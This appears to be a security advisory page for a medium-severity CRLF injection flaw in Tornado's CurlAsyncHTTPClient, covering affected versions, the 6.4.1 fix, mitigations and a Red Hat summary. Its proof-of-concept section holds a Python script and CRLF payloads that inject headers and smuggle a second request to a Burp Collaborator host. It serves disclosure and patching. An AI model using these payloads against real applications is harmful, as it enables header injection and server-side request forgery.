Tornado has a CRLF injection in CurlAsyncHTTPClient headersGHSA-w235-7p84-xx57
MEDIUMFix: tornadoweb/tornado@7786f09GHSA-w235-7p84-xx57 is a medium-severity (CVSS 6.5) CWE-113 vulnerability in tornado. A fix is available for tornado — see the affected versions and patch details below.
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-w235-7p84-xx57.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
tornadoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Tornado’s curl_httpclient.CurlAsyncHTTPClient class is vulnerable to CRLF (carriage return/line feed) injection in the request headers.
Details
When an HTTP request is sent using CurlAsyncHTTPClient, Tornado does not reject carriage return (\r) or line feed (\n) characters in the request headers. As a result, if an application includes an attacker-controlled header value in a request sent using CurlAsyncHTTPClient, the attacker can inject arbitrary headers into the request or cause the application to send arbitrary requests to the specified server.
This behavior differs from that of the standard AsyncHTTPClient class, which does reject CRLF characters.
This issue appears to stem from libcurl's (as well as pycurl's) lack of validation for the HTTPHEADER option. libcurl’s documentation states:
The headers included in the linked list must not be CRLF-terminated, because libcurl adds CRLF after each header item itself. Failure to comply with this might result in strange behavior. libcurl passes on the verbatim strings you give it, without any filter or other safe guards. That includes white space and control characters.
pycurl similarly appears to assume that the headers adhere to the correct format. Therefore, without any validation on Tornado’s part, header names and values are included verbatim in the request sent by CurlAsyncHTTPClient, including any control characters that have special meaning in HTTP semantics.
PoC
The issue can be reproduced using the following script:
import asyncio
from tornado import httpclient
from tornado import curl_httpclient
async def main():
http_client = curl_httpclient.CurlAsyncHTTPClient()
request = httpclient.HTTPRequest(
# Burp Collaborator payload
"http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/",
method="POST",
body="body",
# Injected header using CRLF characters
headers={"Foo": "Bar\r\nHeader: Injected"}
)
response = await http_client.fetch(request)
print(response.body)
http_client.close()
if __name__ == "__main__":
asyncio.run(main())
When the specified server receives the request, it contains the injected header (Header: Injected) on its own line:
POST / HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
User-Agent: Mozilla/5.0 (compatible; pycurl)
Accept: */*
Accept-Encoding: gzip,deflate
Foo: Bar
Header: Injected
Content-Length: 4
Content-Type: application/x-www-form-urlencoded
body
The attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of \r\n\r\nPOST /attacker-controlled-url HTTP/1.1\r\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com results in the server receiving an additional, attacker-controlled request:
POST /attacker-controlled-url HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
Content-Length: 4
Content-Type: application/x-www-form-urlencoded
body
Impact
Applications using the Tornado library to send HTTP requests with untrusted header data are affected. This issue may facilitate the exploitation of server-side request forgery (SSRF) vulnerabilities.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | tornado | all versions | 6.4.1pip install --upgrade 'tornado==6.4.1' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tornado, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update tornado to 6.4.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w235-7p84-xx57 is resolved across your whole dependency graph.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Moderate impact: This CRLF injection vulnerability in Tornado's CurlAsyncHTTPClient allows attackers to inject arbitrary HTTP headers or construct new HTTP requests. Exploitation requires an application to process untrusted, attacker-controlled data directly into request headers when utilizing CurlAsyncHTTPClient,…
Applications using Tornado's `CurlAsyncHTTPClient` should sanitize all header values to prevent CRLF injection. Alternatively, if feasible, applications can switch to using the standard `AsyncHTTPClient` which properly rejects CRLF characters in request headers. If a service is restarted or reloaded after implementing this change, ensure proper validation of the service's functionality.Source: Red Hat security advisory for GHSA-w235-7p84-xx57 (CC BY 4.0)
Frequently Asked Questions
Is GHSA-w235-7p84-xx57 in your dependencies?
Find it across PyPI, including transitive dependencies.